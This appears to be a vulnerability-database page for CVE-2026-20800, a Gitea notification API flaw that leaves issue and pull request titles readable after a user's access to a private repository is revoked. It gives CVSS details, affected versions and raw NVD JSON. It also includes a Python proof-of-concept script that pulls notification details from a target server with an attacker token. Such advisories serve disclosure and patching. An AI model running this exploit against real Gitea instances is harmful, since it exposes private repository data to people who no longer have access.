Security Vulnerability Report
中文
CVE-2026-20800 CVSS 6.5 MEDIUM

CVE-2026-20800

Published: 2026-01-22 22:16:18
Last Modified: 2026-01-29 21:57:04
Source: 88ee5874-cf24-4952-aea0-31affedb7ff2

Description

Gitea's notification API does not re-validate repository access permissions when returning notification details. After a user's access to a private repository is revoked, they may still view issue and pull request titles through previously received notifications.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:* - VULNERABLE
Gitea < 1.25.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-20800 PoC - Gitea Notification API Access Control Bypass # This PoC demonstrates accessing notification details after repository access revocation import requests import json GITEA_URL = "http://target-gitea-server.com" ATTACKER_TOKEN = "your_attacker_access_token" def get_notifications(): """Get list of notifications for the attacker""" headers = { "Authorization": f"token {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Get all notifications response = requests.get( f"{GITEA_URL}/api/v1/notifications", headers=headers ) if response.status_code == 200: return response.json() return [] def get_notification_details(notification_url): """Get notification details - vulnerable endpoint""" headers = { "Authorization": f"token {ATTACKER_TOKEN}", "Content-Type": "application/json" } # This endpoint does not re-validate repository access permissions response = requests.get( f"{GITEA_URL}{notification_url}", headers=headers ) if response.status_code == 200: return response.json() return None def main(): print("[*] CVE-2026-20800 PoC - Gitea Notification API Access Control Bypass") print("[*] Target:", GITEA_URL) # Step 1: Get notifications print("\n[1] Fetching notifications...") notifications = get_notifications() if not notifications: print("[-] No notifications found or authentication failed") return print(f"[+] Found {len(notifications)} notifications") # Step 2: Access notification details (even after access revocation) print("\n[2] Accessing notification details (bypassing revoked permissions)...") for notif in notifications: subject_url = notif.get("subject_url") if subject_url: details = get_notification_details(subject_url) if details: print(f"\n[+] Notification Details:") print(f" Subject: {details.get('title', 'N/A')}") print(f" Type: {details.get('type', 'N/A')}") print(f" Repository: {details.get('repository', {}).get('full_name', 'N/A')}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20800", "sourceIdentifier": "88ee5874-cf24-4952-aea0-31affedb7ff2", "published": "2026-01-22T22:16:17.540", "lastModified": "2026-01-29T21:57:04.013", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gitea's notification API does not re-validate repository access permissions when returning notification details. After a user's access to a private repository is revoked, they may still view issue and pull request titles through previously received notifications."}, {"lang": "es", "value": "La API de notificaciones de Gitea no revalida los permisos de acceso al repositorio al devolver los detalles de la notificación. Después de que se revoque el acceso de un usuario a un repositorio privado, aún pueden ver los títulos de las incidencias y las solicitudes de extracción a través de notificaciones recibidas previamente."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:*", "versionEndExcluding": "1.25.4", "matchCriteriaId": "DFCB7D74-331D-4582-AB41-113A25BE8FAA"}]}]}], "references": [{"url": "https://blog.gitea.com/release-of-1.25.4/", "source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "tags": ["Release Notes"]}, {"url": "https://github.com/go-gitea/gitea/pull/36339", "source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/go-gitea/gitea/releases/tag/v1.25.4", "source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "tags": ["Release Notes"]}, {"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-g54m-9f6g-wj7q", "source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "tags": ["Broken Link"]}]}}